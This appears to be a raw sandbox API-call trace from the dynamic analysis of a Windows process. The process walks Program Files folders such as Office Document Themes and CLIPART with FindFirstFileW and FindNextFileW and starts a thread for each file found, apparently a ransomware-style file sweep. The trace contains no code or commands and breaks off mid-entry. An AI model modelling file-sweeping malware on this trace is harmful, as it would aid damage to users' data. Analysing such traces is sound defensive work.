[0139.789] wcscat (in: _Dest=0x8f60f0, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\*" [0139.789] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9066a0 [0139.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x9066a0 | out: lpFindFileData=0x9066a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0140.044] wcscmp (_String1=".", _String2=".") returned 0 [0140.044] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9066a0 | out: lpFindFileData=0x9066a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.044] wcscmp (_String1="..", _String2=".") returned 1 [0140.044] wcscmp (_String1="..", _String2="..") returned 0 [0140.044] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9066a0 | out: lpFindFileData=0x9066a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0140.044] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0140.044] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0140.045] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8968 [0140.045] wcscpy (in: _Dest=0x8e8968, _Source="C:\\Program Files\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0140.045] wcscat (in: _Dest=0x8e8968, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\" [0140.045] wcscat (in: _Dest=0x8e8968, _Source="Microsoft" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0140.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0140.046] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9066a0 | out: lpFindFileData=0x9066a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0140.046] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0140.046] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9066a0) returned 1 [0140.046] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f60f0) returned 1 [0140.046] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ea9d8) returned 1 Thread: id = 1673 os_tid = 0x4e4 [0139.797] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8fee28 [0139.797] wcscpy (in: _Dest=0x8fee28, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0139.797] wcscat (in: _Dest=0x8fee28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0139.797] wcscat (in: _Dest=0x8fee28, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\*" [0139.797] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906908 [0139.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b50 [0139.798] wcscmp (_String1=".", _String2=".") returned 0 [0139.798] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.798] wcscmp (_String1="..", _String2=".") returned 1 [0139.798] wcscmp (_String1="..", _String2="..") returned 0 [0139.798] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa47d9560, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa47d9560, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0139.798] wcscmp (_String1="PUB60COR", _String2=".") returned 1 [0139.798] wcscmp (_String1="PUB60COR", _String2="..") returned 1 [0139.798] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0f08 [0139.798] wcscpy (in: _Dest=0x8f0f08, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0139.798] wcscat (in: _Dest=0x8f0f08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0139.798] wcscat (in: _Dest=0x8f0f08, _Source="PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0139.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238 [0139.799] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0139.799] wcscmp (_String1="Publisher", _String2=".") returned 1 [0139.799] wcscmp (_String1="Publisher", _String2="..") returned 1 [0139.799] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f0f78 [0139.799] wcscpy (in: _Dest=0x8f0f78, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0139.799] wcscat (in: _Dest=0x8f0f78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0139.799] wcscat (in: _Dest=0x8f0f78, _Source="Publisher" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0139.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234 [0139.800] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0139.801] FindClose (in: hFindFile=0x8d9b50 | out: hFindFile=0x8d9b50) returned 1 [0139.801] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906908) returned 1 [0139.801] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fee28) returned 1 [0139.801] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8eaaa0) returned 1 Thread: id = 1674 os_tid = 0x5f4 [0139.802] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8878 [0139.802] wcscpy (in: _Dest=0x8e8878, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0139.802] wcscat (in: _Dest=0x8e8878, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0139.802] wcscat (in: _Dest=0x8e8878, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*" [0139.802] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906908 [0139.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da4d0 [0140.623] wcscmp (_String1=".", _String2=".") returned 0 [0140.623] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.129] wcscmp (_String1="..", _String2=".") returned 1 [0141.129] wcscmp (_String1="..", _String2="..") returned 0 [0141.129] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0141.129] wcscmp (_String1="Adjacency.thmx", _String2=".") returned 1 [0141.129] wcscmp (_String1="Adjacency.thmx", _String2="..") returned 1 [0141.129] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e67e8 [0141.129] wcscpy (in: _Dest=0x8e67e8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.129] wcscat (in: _Dest=0x8e67e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.129] wcscat (in: _Dest=0x8e67e8, _Source="Adjacency.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" [0141.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e67e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0141.393] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0141.393] wcscmp (_String1="Angles.thmx", _String2=".") returned 1 [0141.393] wcscmp (_String1="Angles.thmx", _String2="..") returned 1 [0141.393] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6b48 [0141.393] wcscpy (in: _Dest=0x8e6b48, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.393] wcscat (in: _Dest=0x8e6b48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.393] wcscat (in: _Dest=0x8e6b48, _Source="Angles.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" [0141.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0141.394] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0141.394] wcscmp (_String1="Apex.thmx", _String2=".") returned 1 [0141.394] wcscmp (_String1="Apex.thmx", _String2="..") returned 1 [0141.394] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f74e8 [0141.394] wcscpy (in: _Dest=0x8f74e8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.394] wcscat (in: _Dest=0x8f74e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.394] wcscat (in: _Dest=0x8f74e8, _Source="Apex.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" [0141.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f74e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0141.395] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0141.395] wcscmp (_String1="Apothecary.thmx", _String2=".") returned 1 [0141.395] wcscmp (_String1="Apothecary.thmx", _String2="..") returned 1 [0141.395] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x8fe9f8 [0141.396] wcscpy (in: _Dest=0x8fe9f8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.396] wcscat (in: _Dest=0x8fe9f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.396] wcscat (in: _Dest=0x8fe9f8, _Source="Apothecary.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" [0141.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fe9f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0141.397] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0141.397] wcscmp (_String1="Aspect.thmx", _String2=".") returned 1 [0141.397] wcscmp (_String1="Aspect.thmx", _String2="..") returned 1 [0141.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6bd8 [0141.397] wcscpy (in: _Dest=0x8e6bd8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.397] wcscat (in: _Dest=0x8e6bd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.397] wcscat (in: _Dest=0x8e6bd8, _Source="Aspect.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" [0141.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0141.398] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0141.398] wcscmp (_String1="Austin.thmx", _String2=".") returned 1 [0141.398] wcscmp (_String1="Austin.thmx", _String2="..") returned 1 [0141.398] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6c68 [0141.398] wcscpy (in: _Dest=0x8e6c68, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.398] wcscat (in: _Dest=0x8e6c68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.398] wcscat (in: _Dest=0x8e6c68, _Source="Austin.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" [0141.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0141.399] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0141.399] wcscmp (_String1="Black Tie.thmx", _String2=".") returned 1 [0141.399] wcscmp (_String1="Black Tie.thmx", _String2="..") returned 1 [0141.400] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6cf8 [0141.400] wcscpy (in: _Dest=0x8e6cf8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.400] wcscat (in: _Dest=0x8e6cf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.400] wcscat (in: _Dest=0x8e6cf8, _Source="Black Tie.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" [0141.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0141.401] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0141.401] wcscmp (_String1="Civic.thmx", _String2=".") returned 1 [0141.401] wcscmp (_String1="Civic.thmx", _String2="..") returned 1 [0141.401] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f78a0 [0141.401] wcscpy (in: _Dest=0x8f78a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.401] wcscat (in: _Dest=0x8f78a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.401] wcscat (in: _Dest=0x8f78a0, _Source="Civic.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" [0141.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f78a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0141.403] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0141.403] wcscmp (_String1="Clarity.thmx", _String2=".") returned 1 [0141.403] wcscmp (_String1="Clarity.thmx", _String2="..") returned 1 [0141.403] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6d88 [0141.403] wcscpy (in: _Dest=0x8e6d88, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.403] wcscat (in: _Dest=0x8e6d88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.403] wcscat (in: _Dest=0x8e6d88, _Source="Clarity.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" [0141.403] CreateThread 